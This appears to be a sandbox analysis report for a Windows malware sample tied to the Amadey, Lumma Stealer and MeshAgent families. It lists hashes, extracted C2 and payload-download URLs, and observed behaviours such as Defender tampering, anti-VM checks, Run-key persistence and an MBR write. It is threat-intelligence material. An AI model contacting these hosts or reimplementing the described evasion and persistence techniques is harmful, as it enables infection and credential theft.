amadey | 37a9c1cd8cb5dad16158797afcc474f5a2926ced95915e9b2cbe5822b88f0f5d

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
04/04/2025, 20:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Size

938KB
MD5

e6622b997703fc5a207a053a7f3b4c3b
SHA1

3c6d3306c0d76b6b714f4c2a72b704c8b07ae84c
SHA256

37a9c1cd8cb5dad16158797afcc474f5a2926ced95915e9b2cbe5822b88f0f5d
SHA512

acf8d1c72adef86e2e6b46887dea44338d7c5e80f7cc220b6a54d816948f63a47d85486606ccba37fff541951b426f7c5bf37e4b47105099ce88241b1de65227
SSDEEP

24576:dqDEvCTbMWu7rQYlBQcBiT6rprG8a0Au:dTvC/MTQYxsWR7a0A

Score

10^/10

amadey lumma meshagent 092155 test123 backdoor bootkit defense_evasion discovery execution exploit persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://navstarx.shop/FoaJSi

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://starcloc.bet/GOksAo

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

Extracted

Family

meshagent

Version

Botnet

test123

http://aaso12.duckdns.org:443/agent.ashx

Attributes

mesh_id
0x0CF4A8B0663DD2F1D3A44CE8D231621166DBDB1E723B374C911544DE2F45A87C6C52F7206CED32F5B6A52A5551B75A3C
server_id
22F126392DFCD804B6AF755F256A707D53ED8D200650E6BC853C95860F21B6B7049AF4EBEAB393E6EE1A9315B396BFC8
wss
wss://aaso12.duckdns.org:443/agent.ashx

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detects MeshAgent payload 1 IoCs

resource	yara_rule
behavioral1/files/0x00070000000240e8-11552.dat	family_meshagent

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
MeshAgent
MeshAgent is an open source remote access trojan written in C++.
rat trojan backdoor meshagent
Meshagent family
meshagent

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5548 created 3464	5548	aspnet_compiler.exe	56

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bd3bd05008.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	be3ba05441.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	3192	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
428	powershell.exe
2136	powershell.exe
4260	powershell.exe
6580	powershell.exe
1320	powershell.exe
5836	powershell.exe
5388	powershell.exe
5784	powershell.exe
3040	powershell.exe
6744	powershell.exe
5356	powershell.exe
3192	powershell.exe
1116	powershell.exe
6128	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 10 IoCs

flow	pid	Process
66	4892	rapes.exe
35	4892	rapes.exe
84	4892	rapes.exe
95	1532	svchost.exe
112	4892	rapes.exe
91	4892	rapes.exe
91	4892	rapes.exe
19	3192	powershell.exe
100	1532	svchost.exe
113	1532	svchost.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
5344	takeown.exe
4592	icacls.exe

Sets service image path in registry 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" "	s.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" "	s.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bd3bd05008.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bd3bd05008.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	be3ba05441.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	be3ba05441.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	262.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	7IIl2eE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	apple.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	262.exe

Executes dropped EXE 19 IoCs

pid	Process
4732	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE
4892	rapes.exe
2792	7q8Wm5h.exe
5912	apple.exe
4824	262.exe
3288	262.exe
5104	7q8Wm5h.exe
5476	rapes.exe
5268	IsValueCreated.exe
6572	bd3bd05008.exe
6328	7IIl2eE.exe
5648	MeshAgent.exe
3668	Passwords.com
5908	be3ba05441.exe
6348	rapes.exe
2192	UZPt0hR.exe
6972	MeshAgent.exe
5808	TbV75ZR.exe
6668	9sWdA2p.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	bd3bd05008.exe
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	be3ba05441.exe
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5344	takeown.exe
4592	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	be3ba05441.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\apphelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\bcrypt.pdb	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\8A8A9E9CD956E0B7F88FCBBF8D38744BB66EF1FC	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shcore.pdb	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\symbols\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdi32.pdb	MeshAgent.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
7068	tasklist.exe
4732	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
4732	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE
4892	rapes.exe
5476	rapes.exe
6572	bd3bd05008.exe
5908	be3ba05441.exe
6348	rapes.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5104 set thread context of 5548	5104	7q8Wm5h.exe	201
PID 5548 set thread context of 6184	5548	aspnet_compiler.exe	218
PID 5808 set thread context of 5656	5808	TbV75ZR.exe	277

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db.tmp	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.msh	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.exe	s.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.exe	s.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.msh	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ProvidingMilwaukee	7IIl2eE.exe
File opened for modification	C:\Windows\JenniferSubdivision	7IIl2eE.exe
File opened for modification	C:\Windows\BrandonStat	7IIl2eE.exe
File opened for modification	C:\Windows\RowTopics	7IIl2eE.exe
File opened for modification	C:\Windows\DiscussedFacial	7IIl2eE.exe
File opened for modification	C:\Windows\SpecificsHeaven	7IIl2eE.exe
File opened for modification	C:\Windows\GentleLogging	7IIl2eE.exe
File opened for modification	C:\Windows\LogisticsNotre	7IIl2eE.exe
File opened for modification	C:\Windows\WallpapersHo	7IIl2eE.exe
File opened for modification	C:\Windows\EstateLegislative	7IIl2eE.exe
File opened for modification	C:\Windows\CorrectionsGeographic	7IIl2eE.exe
File opened for modification	C:\Windows\EnglandDeleted	7IIl2eE.exe
File opened for modification	C:\Windows\PotteryUser	7IIl2eE.exe
File created	C:\Windows\Tasks\rapes.job	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
448	sc.exe
5280	sc.exe
1448	sc.exe
4768	sc.exe
5648	sc.exe
5696	sc.exe
1032	sc.exe
5508	sc.exe
5440	sc.exe
4108	sc.exe
3300	sc.exe
5708	sc.exe
5952	sc.exe
4120	sc.exe
5516	sc.exe
5672	sc.exe
5064	sc.exe
5616	sc.exe
5152	sc.exe
5908	sc.exe
5424	sc.exe
5756	sc.exe
2344	sc.exe
5528	sc.exe
6080	sc.exe
5220	sc.exe
3164	sc.exe
3428	sc.exe
5752	sc.exe
2244	sc.exe
4664	sc.exe
3056	sc.exe
5728	sc.exe
5828	sc.exe
5316	sc.exe
5968	sc.exe
4972	sc.exe
6132	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UZPt0hR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	262.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bd3bd05008.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	be3ba05441.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	apple.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9sWdA2p.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Passwords.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	262.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7IIl2eE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
6108	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
